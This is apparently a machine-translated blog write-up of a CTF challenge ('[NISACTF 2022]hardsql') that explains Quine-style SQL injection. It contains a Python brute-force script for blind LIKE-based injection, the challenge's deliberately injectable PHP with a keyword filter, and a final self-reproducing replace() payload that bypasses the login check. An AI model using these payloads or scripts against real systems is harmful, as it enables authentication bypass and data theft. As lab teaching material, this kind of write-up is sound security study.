当前位置:网站首页>Quine injection of SQL injection
Quine injection of SQL injection
2022-07-19 01:26:00 【Aiwin-Lau】
Tips : When the article is finished , Directories can be generated automatically , How to generate it, please refer to the help document on the right
Catalog
Preface
Tips : Here you can add the general content to be recorded in this article :
SQL There are many ways to inject , Do it today CTF When it comes to the question , I met another kind of injection that is not often tested but very detailed , Make a note of .
Tips : The following is the main body of this article , The following cases can be used for reference
One 、Quine What is it? ?
Quine Refers to self generating program , To put it simply , It's the input sql The statement is consistent with the one to be output , Here's an example .
Two 、[NISACTF 2022]hardsql
Topic tips :
$password=$_POST['passwd']; $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
1, Enter the topic :

The title says that the login account is bilala, Only login passwords are injectable points , The first step is to log in , Make some small attempts at conventional injection , found waf Filtered spaces ,and,updatexml,=,database,sleep,information_schema And so on. , A lot of filtering . You can use like+ wildcard % Blow up the password , The blasting script is as follows :
import requests
url = 'http://1.14.71.254:28860/login.php'
str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
flag = ''
for i in range(62):
for j in str:
data = {
'username': 'bilala', "passwd":f"-1'/**/or/**/passwd/**/like/**/'{flag+j}%'#"
}
response = requests.post(url, data=data)
if "nothing found" not in response.text:
flag = flag + j
print(flag)
break
print(flag)

After logging in , See the source code :
<?php
// Add a billion more filtering
include_once("config.php");
function alertMes($mes,$url){
die("<script>alert('{$mes}');location.href='{$url}';</script>");
}
function checkSql($s) {
if(preg_match("/if|regexp|between|in|flag|=|>|<|and|\||right|left|insert|database|reverse|update|extractvalue|floor|join|substr|&|;|\\\$|char|\x0a|\x09|column|sleep|\ /i",$s)){
alertMes('waf here', 'index.php');
}
}
if (isset($_POST['username']) && $_POST['username'] != '' && isset($_POST['passwd']) && $_POST['passwd'] != '') {
$username=$_POST['username'];
$password=$_POST['passwd'];
if ($username !== 'bilala') {
alertMes('only bilala can login', 'index.php');
}
checkSql($password);
$sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";
$user_result=mysqli_query($MysqlLink,$sql);
$row = mysqli_fetch_array($user_result);
if (!$row) {
alertMes('nothing found','index.php');
}
if ($row['passwd'] === $password) {
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}
?>
The key idea to solve the problem is :
if ($row['passwd'] === $password) { # The key
if($password == 'b2f2d15b3ae082ca29697d8dcd420fd7'){
show_source(__FILE__);
die;
}
else{
die($FLAG);
}
} else {
alertMes("wrong password",'index.php');
}
}Found out passwd Want to be with $password Strong equality , And $passwor It's not equal to b2f2d15b3ae082ca29697d8dcd420fd7.
But in fact, this table is actually an empty table , Only construct statements with exactly the same input and output , To get around the restrictions FLAG, Mainly used replace(str,old_string,new_string) Construct , The construction idea is as follows :
select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
utilize 'replace(".",char(46),".")'); Replace 'replace(".",char(46),".")' Symbols in .
The result of input and output is :
replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") ;
In this way, the consistency between input and output has not been achieved , Because there is also inconsistency between single quotation marks and double quotation marks , So we should solve the problem of single and double quotation marks , One more layer replace, Replace double quotation marks with single quotation marks , as follows :
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
The output result is :
replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")')
In this way, the input and output results are consistent .
The question also filters char, use chr Or directly 0x Instead of just .
So the final payload by :
username=bilala&passwd='/**/union/**/select/**/replace(replace('"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#',0x22,0x27),0x25,'"/**/union/**/select/**/replace(replace("%",0x22,0x27),0x25,"%")#')#&login=%E7%99%BB%E5%BD%95

边栏推荐
- Supplementary knowledge of attributes and methods of regular, JWT token, ronglianyun, celery, channel group, SKU, SPU, request object
- pytorch index_ select
- JSX 语法
- @Configurationproperties annotation usage
- maker-论文资料查找培训-笔记
- mmap的 Bus error问题及解决
- E-commerce background management login
- XML外部实体注入总结(XXE靶机复现)
- The C Programming Language 2nd --笔记--6.7
- everything搜索不到startup_lpc11x.s文件
猜你喜欢
随机推荐
深度之眼三——(6)】数学:矩阵对角化及二次型1
C Programming Language (2nd Edition)--读书笔记--1.5.3
@Configurationproperties annotation usage
CobalStrike的部署(附带资源)
Day13 mixed view base class
RSA之共模攻击与共享素数
Codeforces round #664C
es6 map提取数组对象
Day15-分页,过滤
深度之眼三——(3)】 数学:矩阵特征值与特征向量1
js替换字符串某个字符,js修改字符串中指定字符
Day06 ORM field and operation
Deployment of cobalstrike (with resources)
C Programming Language(2nd Edition)--读书笔记--1.5.1
鼠标右键菜单添加快速打开选项遇见的错误:
Pytoch simply uses the Minist dataset
Fundamentals of IOT development
(八)Shell函数
Day16-排序,限流
Recording multiple environments at a time leads to code bugs








